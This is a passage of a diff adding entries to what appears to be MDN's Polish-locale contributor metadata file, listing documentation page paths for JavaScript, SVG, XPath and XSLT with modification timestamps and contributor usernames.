+ "Web/JavaScript/Referencje/Obiekty/Symbol": {
+ "modified": "2020-10-15T22:02:20.124Z",
+ "contributors": [
+ "kjarmicki"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/SyntaxError": {
+ "modified": "2020-10-15T22:30:06.264Z",
+ "contributors": [
+ "jangromko"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Uint16Array": {
+ "modified": "2019-03-23T23:21:49.403Z",
+ "contributors": [
+ "teoli",
+ "Kuzirashi"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/decodeURI": {
+ "modified": "2020-03-12T19:37:41.064Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Diablownik",
+ "Internauta1024A",
+ "Ptak82",
+ "VooEak"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/decodeURIComponent": {
+ "modified": "2020-03-12T19:37:32.361Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "VooEak"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/encodeURI": {
+ "modified": "2020-03-12T19:37:30.589Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Quest-88",
+ "Ptak82",
+ "VooEak"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/encodeURIComponent": {
+ "modified": "2020-03-12T19:37:35.220Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Quest-88",
+ "Ptak82",
+ "VooEak"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/escape": {
+ "modified": "2020-03-12T19:43:04.815Z",
+ "contributors": [
+ "kamce"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/isFinite": {
+ "modified": "2020-03-12T19:37:33.636Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Diablownik",
+ "Internauta1024A",
+ "Marcoos",
+ "Ptak82",
+ "VooEak"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/isNaN": {
+ "modified": "2020-03-12T19:37:31.060Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Marcoos",
+ "Sheppy",
+ "Ptak82",
+ "Internauta1024A",
+ "Takenbot"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/null": {
+ "modified": "2020-03-12T19:45:50.208Z",
+ "contributors": [
+ "JacobDesight"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/parseFloat": {
+ "modified": "2020-03-12T19:37:26.647Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Internauta1024A",
+ "Marcoos",
+ "Staszyna",
+ "Sheppy",
+ "Ptak82",
+ "VooEak"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/parseInt": {
+ "modified": "2020-03-12T19:37:29.845Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Marcoos",
+ "Ptak82",
+ "VooEak"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/undefined": {
+ "modified": "2020-03-12T19:37:31.553Z",
+ "contributors": [
+ "itsfaint",
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Operatory": {
+ "modified": "2020-03-12T19:36:59.316Z",
+ "contributors": [
+ "ewelinakrawczak",
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Bedi",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Operatory/Bitwise_Operators": {
+ "modified": "2020-10-15T22:25:46.843Z",
+ "contributors": [
+ "jangromko"
+ ]
+ },
+ "Web/JavaScript/Referencje/Operatory/Destructuring_assignment": {
+ "modified": "2020-12-07T05:10:17.259Z",
+ "contributors": [
+ "LukaszFormela",
+ "Saalin",
+ "danielrakoczy",
+ "kdex",
+ "grzim"
+ ]
+ },
+ "Web/JavaScript/Referencje/Operatory/Grouping": {
+ "modified": "2020-10-15T22:13:17.987Z",
+ "contributors": [
+ "jangromko"
+ ]
+ },
+ "Web/JavaScript/Referencje/Operatory/Logical_Operators": {
+ "modified": "2020-10-15T22:08:04.815Z",
+ "contributors": [
+ "jangromko"
+ ]
+ },
+ "Web/JavaScript/Referencje/Operatory/Nullish_coalescing_operator": {
+ "modified": "2020-10-15T22:31:22.874Z",
+ "contributors": [
+ "brightdogs"
+ ]
+ },
+ "Web/JavaScript/Referencje/Operatory/Object_initializer": {
+ "modified": "2020-03-12T19:44:27.454Z",
+ "contributors": [
+ "mateuszkrzak",
+ "JacobDesight",
+ "bouzlibop"
+ ]
+ },
+ "Web/JavaScript/Referencje/Operatory/Operator_delete": {
+ "modified": "2020-03-12T19:37:39.689Z",
+ "contributors": [
+ "gebi",
+ "teoli",
+ "Internauta1024A",
+ "Mgjbot",
+ "Ptak82",
+ "Diablownik"
+ ]
+ },
+ "Web/JavaScript/Referencje/Operatory/Operator_function": {
+ "modified": "2019-03-23T23:48:46.411Z",
+ "contributors": [
+ "Miras",
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Diablownik"
+ ]
+ },
+ "Web/JavaScript/Referencje/Operatory/Operator_in": {
+ "modified": "2019-03-23T23:45:55.097Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Diablownik"
+ ]
+ },
+ "Web/JavaScript/Referencje/Operatory/Operator_instanceof": {
+ "modified": "2020-10-15T21:16:54.657Z",
+ "contributors": [
+ "PawelPapuli",
+ "SphinxKnight",
+ "mmiarecki",
+ "teoli",
+ "Mgjbot",
+ "Ipluta",
+ "Ptak82",
+ "Internauta1024A"
+ ]
+ },
+ "Web/JavaScript/Referencje/Operatory/Operator_new": {
+ "modified": "2020-10-26T06:11:51.853Z",
+ "contributors": [
+ "szymonb",
+ "michal100032",
+ "SphinxKnight",
+ "teoli",
+ "splewako",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Operatory/Operator_potoku": {
+ "modified": "2020-10-15T22:08:04.976Z",
+ "contributors": [
+ "jangromko"
+ ]
+ },
+ "Web/JavaScript/Referencje/Operatory/Operator_przecinkowy": {
+ "modified": "2020-08-18T11:17:02.737Z",
+ "contributors": [
+ "CodyKobe",
+ "teoli",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Operatory/Operator_typeof": {
+ "modified": "2019-03-23T23:48:37.240Z",
+ "contributors": [
+ "9739654",
+ "Moniaesz",
+ "Maciej_Grycz",
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Sheppy"
+ ]
+ },
+ "Web/JavaScript/Referencje/Operatory/Operator_void": {
+ "modified": "2019-03-23T23:48:45.984Z",
+ "contributors": [
+ "jamOne-",
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Diablownik"
+ ]
+ },
+ "Web/JavaScript/Referencje/Operatory/Operator_warunkowy": {
+ "modified": "2020-03-12T19:36:21.149Z",
+ "contributors": [
+ "teoli",
+ "bronek",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Operatory/Operatory_arytmetyczne": {
+ "modified": "2020-03-12T19:36:55.090Z",
+ "contributors": [
+ "AndrzejSala",
+ "teoli",
+ "Niewiado",
+ "Ptak82",
+ "Kc604",
+ "Mgjbot",
+ "Internauta1024A"
+ ]
+ },
+ "Web/JavaScript/Referencje/Operatory/Operatory_działające_na_ciągach_znaków": {
+ "modified": "2019-01-16T19:21:07.446Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Anonymous",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Operatory/Operatory_pamięci": {
+ "modified": "2020-03-12T19:36:58.666Z",
+ "contributors": [
+ "JacobDesight",
+ "teoli",
+ "ethertank",
+ "zarat",
+ "Mgjbot",
+ "Abc",
+ "Internauta1024A",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Operatory/Operatory_porównania": {
+ "modified": "2020-03-12T19:37:40.853Z",
+ "contributors": [
+ "marcinpgit",
+ "teoli",
+ "Ptak82",
+ "Internauta1024A",
+ "Mgjbot"
+ ]
+ },
+ "Web/JavaScript/Referencje/Operatory/Operatory_przypisania": {
+ "modified": "2020-03-12T19:37:41.089Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Operatory/Pierwszeństwo_operatorów": {
+ "modified": "2020-07-11T12:40:07.488Z",
+ "contributors": [
+ "Emploxard",
+ "jangromko",
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Internauta1024A"
+ ]
+ },
+ "Web/JavaScript/Referencje/Operatory/Składnia_rozwinięcia": {
+ "modified": "2020-10-15T22:13:18.819Z",
+ "contributors": [
+ "jangromko"
+ ]
+ },
+ "Web/JavaScript/Referencje/Operatory/Spread_operator": {
+ "modified": "2020-03-12T19:44:36.805Z",
+ "contributors": [
+ "Konrad007",
+ "greg606",
+ "artus9033",
+ "kdex",
+ "kamce",
+ "grzim"
+ ]
+ },
+ "Web/JavaScript/Referencje/Operatory/function*": {
+ "modified": "2020-10-15T22:17:45.458Z",
+ "contributors": [
+ "jangromko"
+ ]
+ },
+ "Web/JavaScript/Referencje/Operatory/new.target": {
+ "modified": "2020-03-12T19:45:06.300Z",
+ "contributors": [
+ "ssuperczynski"
+ ]
+ },
+ "Web/JavaScript/Referencje/Operatory/super": {
+ "modified": "2020-10-15T22:29:09.089Z",
+ "contributors": [
+ "michalmarchewczyk",
+ "jabedek"
+ ]
+ },
+ "Web/JavaScript/Referencje/Operatory/this": {
+ "modified": "2020-03-12T19:40:39.396Z",
+ "contributors": [
+ "Majek",
+ "koczas"
+ ]
+ },
+ "Web/JavaScript/Referencje/Operatory/yield": {
+ "modified": "2020-03-12T19:45:57.099Z",
+ "contributors": [
+ "labs4apps"
+ ]
+ },
+ "Web/JavaScript/Referencje/Operatory/yield*": {
+ "modified": "2020-03-12T19:45:54.936Z",
+ "contributors": [
+ "108adams",
+ "labs4apps"
+ ]
+ },
+ "Web/JavaScript/Referencje/Polecenia": {
+ "modified": "2020-10-15T21:14:48.479Z",
+ "contributors": [
+ "SphinxKnight",
+ "teoli",
+ "splewako",
+ "Gompka",
+ "Mgjbot",
+ "Ptak82",
+ "Diablownik",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Polecenia/Empty": {
+ "modified": "2020-10-15T22:33:29.682Z",
+ "contributors": [
+ "jangromko"
+ ]
+ },
+ "Web/JavaScript/Referencje/Polecenia/block": {
+ "modified": "2020-10-15T21:16:48.113Z",
+ "contributors": [
+ "pawelk92",
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Diablownik"
+ ]
+ },
+ "Web/JavaScript/Referencje/Polecenia/break": {
+ "modified": "2019-01-16T15:52:46.901Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Polecenia/class": {
+ "modified": "2020-10-15T22:23:12.456Z",
+ "contributors": [
+ "jangromko"
+ ]
+ },
+ "Web/JavaScript/Referencje/Polecenia/const": {
+ "modified": "2019-01-16T15:50:46.419Z",
+ "contributors": [
+ "teoli",
+ "Internauta1024A",
+ "Mgjbot",
+ "Ptak82",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Polecenia/continue": {
+ "modified": "2020-10-15T22:21:31.132Z",
+ "contributors": [
+ "Xupi",
+ "JB1905",
+ "jangromko"
+ ]
+ },
+ "Web/JavaScript/Referencje/Polecenia/debugger": {
+ "modified": "2020-03-12T19:46:20.726Z",
+ "contributors": [
+ "antoni"
+ ]
+ },
+ "Web/JavaScript/Referencje/Polecenia/default": {
+ "modified": "2020-10-15T22:19:18.627Z",
+ "contributors": [
+ "jangromko"
+ ]
+ },
+ "Web/JavaScript/Referencje/Polecenia/do...while": {
+ "modified": "2019-01-16T15:52:54.601Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Polecenia/etykieta": {
+ "modified": "2019-01-16T15:52:24.751Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Polecenia/export": {
+ "modified": "2019-01-16T15:46:36.049Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82",
+ "Internauta1024A"
+ ]
+ },
+ "Web/JavaScript/Referencje/Polecenia/for": {
+ "modified": "2019-01-16T15:52:32.477Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Diablownik",
+ "Kjj2"
+ ]
+ },
+ "Web/JavaScript/Referencje/Polecenia/for...in": {
+ "modified": "2020-10-15T22:24:07.320Z",
+ "contributors": [
+ "whpac",
+ "jangromko"
+ ]
+ },
+ "Web/JavaScript/Referencje/Polecenia/function": {
+ "modified": "2019-01-16T15:52:26.032Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Diablownik"
+ ]
+ },
+ "Web/JavaScript/Referencje/Polecenia/function*": {
+ "modified": "2020-03-12T19:45:57.895Z",
+ "contributors": [
+ "AndrzejSala",
+ "labs4apps"
+ ]
+ },
+ "Web/JavaScript/Referencje/Polecenia/funkcja_async": {
+ "modified": "2020-10-15T22:24:48.218Z",
+ "contributors": [
+ "drm404"
+ ]
+ },
+ "Web/JavaScript/Referencje/Polecenia/if...else": {
+ "modified": "2019-01-16T15:55:18.475Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Polecenia/import": {
+ "modified": "2019-01-16T15:46:37.420Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82",
+ "Internauta1024A"
+ ]
+ },
+ "Web/JavaScript/Referencje/Polecenia/return": {
+ "modified": "2019-01-16T15:53:40.686Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Polecenia/switch": {
+ "modified": "2020-10-15T21:17:02.196Z",
+ "contributors": [
+ "1MrHous1",
+ "SphinxKnight",
+ "teoli",
+ "Rokuzo",
+ "Mgjbot",
+ "Ptak82",
+ "Diablownik"
+ ]
+ },
+ "Web/JavaScript/Referencje/Polecenia/throw": {
+ "modified": "2020-10-15T21:16:56.629Z",
+ "contributors": [
+ "SphinxKnight",
+ "teoli",
+ "Rokuzo",
+ "Mgjbot",
+ "Ptak82",
+ "Diablownik"
+ ]
+ },
+ "Web/JavaScript/Referencje/Polecenia/var": {
+ "modified": "2019-01-16T15:49:48.835Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Diablownik"
+ ]
+ },
+ "Web/JavaScript/Referencje/Polecenia/while": {
+ "modified": "2019-03-23T23:49:29.695Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Przestarzałe_własności_i_metody": {
+ "modified": "2020-03-12T19:37:30.978Z",
+ "contributors": [
+ "SphinxKnight",
+ "teoli",
+ "Bedi",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82",
+ "Koziolek",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Słowa_zarezerwowane": {
+ "modified": "2019-01-16T14:51:07.291Z",
+ "contributors": [
+ "teoli",
+ "Ptak82",
+ "Mgjbot",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Shells": {
+ "modified": "2020-03-12T19:48:00.854Z",
+ "contributors": [
+ "PiotrMuskalski"
+ ]
+ },
+ "Web/JavaScript/Typed_arrays": {
+ "modified": "2020-03-12T19:39:10.889Z",
+ "contributors": [
+ "teoli",
+ "Kuzirashi"
+ ]
+ },
+ "Web/JavaScript/Wprowadzenie_do_programowania_obiektowego_w_jezyku_JavaScript": {
+ "modified": "2019-03-23T23:13:29.216Z",
+ "contributors": [
+ "Xelix196",
+ "matewka"
+ ]
+ },
+ "Web/JavaScript/Zasoby_języka_JavaScript": {
+ "modified": "2019-01-16T16:04:32.529Z",
+ "contributors": [
+ "teoli",
+ "Diablownik",
+ "Ptak82",
+ "Mgjbot"
+ ]
+ },
+ "Web/JavaScript/dziedziczenie_lancuch_prototypow": {
+ "modified": "2020-03-12T19:43:36.110Z",
+ "contributors": [
+ "hyvyys",
+ "binarysailor",
+ "RudyPL",
+ "mat-bi",
+ "vonsko",
+ "labs4apps",
+ "pceuropa"
+ ]
+ },
+ "Web/JavaScript/typy_oraz_struktury_danych": {
+ "modified": "2020-06-14T13:44:23.074Z",
+ "contributors": [
+ "AvantaR"
+ ]
+ },
+ "Web/MathML": {
+ "modified": "2019-03-24T00:03:16.756Z",
+ "contributors": [
+ "tjasinski",
+ "teoli",
+ "fred.wang",
+ "Bedi",
+ "Ptak82",
+ "gandalf"
+ ]
+ },
+ "Web/Progressive_web_apps": {
+ "modified": "2020-03-21T20:07:05.090Z",
+ "contributors": [
+ "abes21111984"
+ ]
+ },
+ "Web/SVG": {
+ "modified": "2019-03-23T23:48:48.350Z",
+ "contributors": [
+ "KateSturmey",
+ "teoli",
+ "Bedi",
+ "Ptak82",
+ "Verruckt",
+ "Mgjbot",
+ "Takenbot",
+ "gandalf",
+ "Dria"
+ ]
+ },
+ "Web/SVG/Element": {
+ "modified": "2019-03-23T22:14:00.084Z",
+ "contributors": [
+ "Jeremie"
+ ]
+ },
+ "Web/SVG/Element/a": {
+ "modified": "2019-03-23T22:13:56.546Z",
+ "contributors": [
+ "devMike"
+ ]
+ },
+ "Web/SVG/Element/animateTransform": {
+ "modified": "2020-10-15T21:53:46.335Z",
+ "contributors": [
+ "SphinxKnight",
+ "devMike"
+ ]
+ },
+ "Web/SVG/Element/okrąg": {
+ "modified": "2020-10-15T22:12:21.905Z",
+ "contributors": [
+ "webcarrot",
+ "SphinxKnight",
+ "Rafal76"
+ ]
+ },
+ "Web/SVG/Inne_zasoby": {
+ "modified": "2019-01-16T15:45:05.453Z",
+ "contributors": [
+ "teoli",
+ "Ptak82",
+ "Sullei",
+ "gandalf"
+ ]
+ },
+ "Web/SVG/Przewodnik": {
+ "modified": "2019-03-20T10:58:52.573Z",
+ "contributors": [
+ "pan-rzeznik",
+ "teoli",
+ "Bedi"
+ ]
+ },
+ "Web/SVG/Przewodnik/SVG_w_XHTML_-_Wprowadzenie": {
+ "modified": "2019-01-16T16:17:00.898Z",
+ "contributors": [
+ "chrisdavidmills",
+ "Ptak82",
+ "gandalf",
+ "Takenbot",
+ "Dria",
+ "Marcoos"
+ ]
+ },
+ "Web/Security/Securing_your_site": {
+ "modified": "2019-11-23T17:31:47.688Z",
+ "contributors": [
+ "mfuji09"
+ ]
+ },
+ "Web/Security/Securing_your_site/Konfiguracja_MIME_na_serwerze": {
+ "modified": "2020-07-16T22:36:04.529Z",
+ "contributors": [
+ "drm404"
+ ]
+ },
+ "Web/Tutorials": {
+ "modified": "2019-03-23T23:07:22.234Z",
+ "contributors": [
+ "mat-bi",
+ "RafalDe",
+ "heretyk52",
+ "Tomek+"
+ ]
+ },
+ "Web/XML": {
+ "modified": "2020-10-12T08:15:16.866Z",
+ "contributors": [
+ "SphinxKnight",
+ "adrianpiatkiewicz280",
+ "MattMaestro123",
+ "ExE-Boss"
+ ]
+ },
+ "Web/XML/Wprowadzenie_do_XML-a": {
+ "modified": "2019-05-01T21:53:56.163Z",
+ "contributors": [
+ "ExE-Boss",
+ "Mgjbot",
+ "Bedi",
+ "Iorlef",
+ "Ptak82",
+ "Marcoos",
+ "Takenbot",
+ "Gjaryczewski",
+ "Anonymous"
+ ]
+ },
+ "Web/XPath": {
+ "modified": "2019-01-16T14:32:59.084Z",
+ "contributors": [
+ "ExE-Boss",
+ "fscholz",
+ "Mgjbot",
+ "Flaneur",
+ "Bedi",
+ "Ptak82",
+ "Marcoos",
+ "gandalf"
+ ]
+ },
+ "Web/XPath/Funkcje": {
+ "modified": "2019-03-23T23:54:13.300Z",
+ "contributors": [
+ "ExE-Boss",
+ "teoli",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82"
+ ]
+ },
+ "Web/XPath/Funkcje/boolean": {
+ "modified": "2019-01-16T15:50:21.080Z",
+ "contributors": [
+ "ExE-Boss",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82"
+ ]
+ },
+ "Web/XPath/Funkcje/ceiling": {
+ "modified": "2019-01-16T15:50:29.009Z",
+ "contributors": [
+ "ExE-Boss",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82"
+ ]
+ },
+ "Web/XPath/Funkcje/concat": {
+ "modified": "2019-01-16T15:50:21.356Z",
+ "contributors": [
+ "ExE-Boss",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82"
+ ]
+ },
+ "Web/XPath/Funkcje/contains": {
+ "modified": "2019-01-16T15:50:22.632Z",
+ "contributors": [
+ "ExE-Boss",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82"
+ ]
+ },
+ "Web/XPath/Funkcje/count": {
+ "modified": "2019-01-16T15:50:18.931Z",
+ "contributors": [
+ "ExE-Boss",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/XPath/Funkcje/current": {
+ "modified": "2019-01-16T15:54:07.231Z",
+ "contributors": [
+ "ExE-Boss",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/XPath/Funkcje/document": {
+ "modified": "2019-01-16T15:54:08.509Z",
+ "contributors": [
+ "ExE-Boss",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/XPath/Funkcje/element-available": {
+ "modified": "2019-01-16T15:54:24.632Z",
+ "contributors": [
+ "ExE-Boss",
+ "Diablownik",
+ "KRZ",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/XPath/Funkcje/false": {
+ "modified": "2019-01-16T15:50:11.644Z",
+ "contributors": [
+ "ExE-Boss",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82"
+ ]
+ },
+ "Web/XPath/Funkcje/floor": {
+ "modified": "2019-01-16T15:50:15.420Z",
+ "contributors": [
+ "ExE-Boss",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82"
+ ]
+ },
+ "Web/XPath/Funkcje/format-number": {
+ "modified": "2019-01-16T15:54:05.462Z",
+ "contributors": [
+ "ExE-Boss",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/XPath/Funkcje/function-available": {
+ "modified": "2019-01-16T15:54:33.591Z",
+ "contributors": [
+ "ExE-Boss",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/XPath/Funkcje/generate-id": {
+ "modified": "2019-01-16T15:54:20.993Z",
+ "contributors": [
+ "ExE-Boss",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/XPath/Funkcje/id": {
+ "modified": "2019-01-16T15:50:05.440Z",
+ "contributors": [
+ "ExE-Boss",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/XPath/Funkcje/key": {
+ "modified": "2019-01-16T15:54:07.018Z",
+ "contributors": [
+ "ExE-Boss",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/XPath/Funkcje/lang": {
+ "modified": "2019-01-16T15:50:00.856Z",
+ "contributors": [
+ "ExE-Boss",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82",
+ "Bedi"
+ ]
+ },
+ "Web/XPath/Funkcje/last": {
+ "modified": "2019-01-16T15:50:13.769Z",
+ "contributors": [
+ "ExE-Boss",
+ "Mgjbot",
+ "Ptak82",
+ "Diablownik"
+ ]
+ },
+ "Web/XPath/Funkcje/local-name": {
+ "modified": "2019-01-16T15:50:08.618Z",
+ "contributors": [
+ "ExE-Boss",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82"
+ ]
+ },
+ "Web/XPath/Funkcje/name": {
+ "modified": "2019-01-16T15:50:11.434Z",
+ "contributors": [
+ "ExE-Boss",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82"
+ ]
+ },
+ "Web/XPath/Funkcje/namespace-uri": {
+ "modified": "2019-01-16T15:50:11.817Z",
+ "contributors": [
+ "ExE-Boss",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82"
+ ]
+ },
+ "Web/XPath/Funkcje/normalize-space": {
+ "modified": "2019-01-16T15:50:17.331Z",
+ "contributors": [
+ "ExE-Boss",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82"
+ ]
+ },
+ "Web/XPath/Funkcje/not": {
+ "modified": "2019-01-16T15:50:09.345Z",
+ "contributors": [
+ "ExE-Boss",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82"
+ ]
+ },
+ "Web/XPath/Funkcje/number": {
+ "modified": "2019-01-16T15:49:59.758Z",
+ "contributors": [
+ "ExE-Boss",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/XPath/Funkcje/position": {
+ "modified": "2019-01-16T15:50:06.660Z",
+ "contributors": [
+ "ExE-Boss",
+ "Mgjbot",
+ "Ptak82",
+ "Diablownik",
+ "Bedi"
+ ]
+ },
+ "Web/XPath/Funkcje/round": {
+ "modified": "2019-01-16T15:50:04.322Z",
+ "contributors": [
+ "ExE-Boss",
+ "Mgjbot",
+ "Ptak82",
+ "Diablownik"
+ ]
+ },
+ "Web/XPath/Funkcje/starts-with": {
+ "modified": "2019-01-16T15:50:02.374Z",
+ "contributors": [
+ "ExE-Boss",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82"
+ ]
+ },
+ "Web/XPath/Funkcje/string": {
+ "modified": "2019-01-16T15:50:13.315Z",
+ "contributors": [
+ "ExE-Boss",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82"
+ ]
+ },
+ "Web/XPath/Funkcje/string-length": {
+ "modified": "2019-01-16T15:50:11.197Z",
+ "contributors": [
+ "ExE-Boss",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82"
+ ]
+ },
+ "Web/XPath/Funkcje/substring": {
+ "modified": "2019-01-16T15:50:11.854Z",
+ "contributors": [
+ "ExE-Boss",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82"
+ ]
+ },
+ "Web/XPath/Funkcje/substring-after": {
+ "modified": "2019-01-16T15:50:08.478Z",
+ "contributors": [
+ "ExE-Boss",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82"
+ ]
+ },
+ "Web/XPath/Funkcje/substring-before": {
+ "modified": "2019-01-16T15:50:03.131Z",
+ "contributors": [
+ "ExE-Boss",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82"
+ ]
+ },
+ "Web/XPath/Funkcje/sum": {
+ "modified": "2019-01-16T15:50:11.203Z",
+ "contributors": [
+ "ExE-Boss",
+ "Mgjbot",
+ "Diablownik",
+ "Bedi",
+ "Ptak82"
+ ]
+ },
+ "Web/XPath/Funkcje/system-property": {
+ "modified": "2019-01-16T15:54:07.335Z",
+ "contributors": [
+ "ExE-Boss",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/XPath/Funkcje/translate": {
+ "modified": "2019-03-23T23:49:24.212Z",
+ "contributors": [
+ "ExE-Boss",
+ "AndrewPopenko",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82"
+ ]
+ },
+ "Web/XPath/Funkcje/true": {
+ "modified": "2019-01-16T15:50:14.395Z",
+ "contributors": [
+ "ExE-Boss",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82"
+ ]
+ },
+ "Web/XPath/Funkcje/unparsed-entity-url": {
+ "modified": "2019-01-16T15:54:07.524Z",
+ "contributors": [
+ "ExE-Boss",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/XPath/Osie": {
+ "modified": "2019-01-16T15:28:45.164Z",
+ "contributors": [
+ "ExE-Boss",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82"
+ ]
+ },
+ "Web/XSLT": {
+ "modified": "2019-01-16T14:32:05.636Z",
+ "contributors": [
+ "chrisdavidmills",
+ "lukasz.jezierski",
+ "Verruckt",
+ "Ptak82",
+ "Mgjbot",
+ "gandalf",
+ "Jan Dudek",
+ "Anonymous",
+ "Dria"
+ ]
+ },
+ "Web/XSLT/Element": {
+ "modified": "2019-03-23T23:47:58.568Z",
+ "contributors": [
+ "ExE-Boss",
+ "chrisdavidmills",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/XSLT/Element/element": {
+ "modified": "2019-01-16T16:02:07.174Z",
+ "contributors": [
+ "ExE-Boss",
+ "chrisdavidmills",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/XSLT/Transformacje_XML_z_XSLT": {
+ "modified": "2019-03-23T23:43:19.830Z",
+ "contributors": [
+ "SphinxKnight",
+ "chrisdavidmills",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/XSLT/Transformacje_XML_z_XSLT/Dokumentacja_XSLT_XPath": {
+ "modified": "2019-01-16T16:12:39.198Z",
+ "contributors": [
+ "chrisdavidmills",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
